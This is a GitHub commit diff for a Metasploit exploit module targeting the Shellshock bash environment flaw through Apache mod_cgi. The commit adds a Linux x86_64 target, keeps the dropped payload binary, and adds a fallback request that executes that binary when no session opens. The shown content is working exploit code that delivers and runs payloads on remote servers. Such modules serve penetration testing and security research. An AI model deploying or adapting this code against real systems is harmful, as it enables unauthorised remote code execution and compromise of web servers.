Skip to content

Commit 9245bed

Browse files
committed
Make it more generic, add X86_64 target
1 parent d8c03d6 commit 9245bed

File tree

1 file changed

+30
-3
lines changed

1 file changed

+30
-3
lines changed

modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb

Lines changed: 30 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
require 'msf/core'
77

88
class Metasploit4 < Msf::Exploit::Remote
9+
Rank = GoodRanking
910

1011
include Msf::Exploit::Remote::HttpClient
1112
include Msf::Exploit::CmdStager
@@ -41,6 +42,13 @@ def initialize(info = {})
4142
'Arch' => ARCH_X86,
4243
'CmdStagerFlavor' => [ :echo, :printf ]
4344
}
45+
],
46+
[ 'Linux x86_64',
47+
{
48+
'Platform' => 'linux',
49+
'Arch' => ARCH_X86_64,
50+
'CmdStagerFlavor' => [ :echo, :printf ]
51+
}
4452
]
4553
],
4654
'DefaultTarget' => 0,
@@ -52,7 +60,7 @@ def initialize(info = {})
5260
OptString.new('TARGETURI', [true, 'Path to CGI script']),
5361
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', ['GET', 'POST']]),
5462
OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]),
55-
OptString.new('RPATH', [true, 'Target PATH for binaries uses by the CmdStager', '/bin']),
63+
OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']),
5664
OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
5765
], self.class)
5866
end
@@ -74,12 +82,22 @@ def exploit
7482
fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
7583
end
7684

77-
execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'])
85+
execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true)
86+
87+
# A last chance after the cmdstager
88+
# Trying to make it generic
89+
unless session_created?
90+
req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}")
91+
end
7892
end
7993

8094
def execute_command(cmd, opts)
8195
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
82-
cmd.gsub!('rm', "#{datastore['RPATH']}/rm")
96+
97+
if cmd =~ />>/ && first_redirection?
98+
cmd.sub!('>>', '>')
99+
end
100+
83101
req(cmd)
84102
end
85103

@@ -95,4 +113,13 @@ def req(cmd)
95113
def marker
96114
@marker ||= rand_text_alphanumeric(rand(42) + 1)
97115
end
116+
117+
def first_redirection?
118+
unless @first_redirection && @first_redirection == false
119+
@first_redirection = false
120+
return true
121+
end
122+
123+
false
124+
end
98125
end

0 commit comments

Comments
 (0)